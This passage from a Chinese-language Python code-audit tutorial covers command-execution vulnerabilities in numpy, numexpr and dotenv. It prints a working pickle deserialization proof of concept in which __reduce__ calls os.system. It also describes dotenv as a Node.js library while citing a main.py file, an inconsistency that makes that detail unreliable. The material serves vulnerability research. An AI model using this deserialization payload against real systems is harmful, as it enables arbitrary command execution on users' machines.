综上所述,编写POC如下:
from numpy.lib import npyio from numpy import __version__ print(__version__) import os import pickle class Test(object): def __init__(self): self.a = 1 def __reduce__(self): return (os.system,('whoami',)) tmpdaa = Test() with open("test-file.pickle",'wb') as f: pickle.dump(tmpdaa,f) npyio.load("test-file.pickle")测试结果如图:
命令执行审计实战
在Python模块中命令执行漏洞同样较为常见、危害较大。在审计命令执行时,大多时候程序可能会在满足特定条件下才能执行命令,也可能需要在不同的系统中才会执行命令,所以需要关注代码逻辑和某些特性。
numexpr 命令执行漏洞(CNVD-2019-17298)Numexpr是机器学习模块NumPy的一个加速包,主要用于提高NumPy的性能。
漏洞分析
在该模块/numexpr/cpuinfo.py 第37行,存在执行命令的方法。
getoutput 就是存在问题的方法,通过逻辑在.popen中进行命令执行,但是由于os.WIFEXITED(status)和os.WEXITSTATUS(status)只在linux下支持所以在windows下面执行会报错。linux 下当status 为全局变量并且赋值为0的时候,os.WIFEXITED(status)结果为True,os.WEXITSTATUS(status)结果为0。根据代码逻辑:if os.WIFEXITED(status) and os.WEXITSTATUS(status) in successful_status:所以successful_status =(True,0),并通过形参传入,最终导致命令执行问题。
漏洞POC
漏洞POC和执行结果:
dotenv 命令执行漏洞(CNVD-2019-17299)
dotenv是一个使Node.js从文件中加载环境变量的库。
漏洞分析
漏洞存在于dotenv 0.10.1版本中的main.py文件之中,第317行,可见该方法形参传入命令和环境变量。但是由于未对可用命令进行过滤导致任意命令执行问题。
漏洞POC
漏洞POC和执行结果:
总结
通过以上案例和总结,相信咱们能够进一步提高Python审计的功力。这些漏洞在Python审计中比较典型,如果在文章中哪里存在疏忽,盼斧正。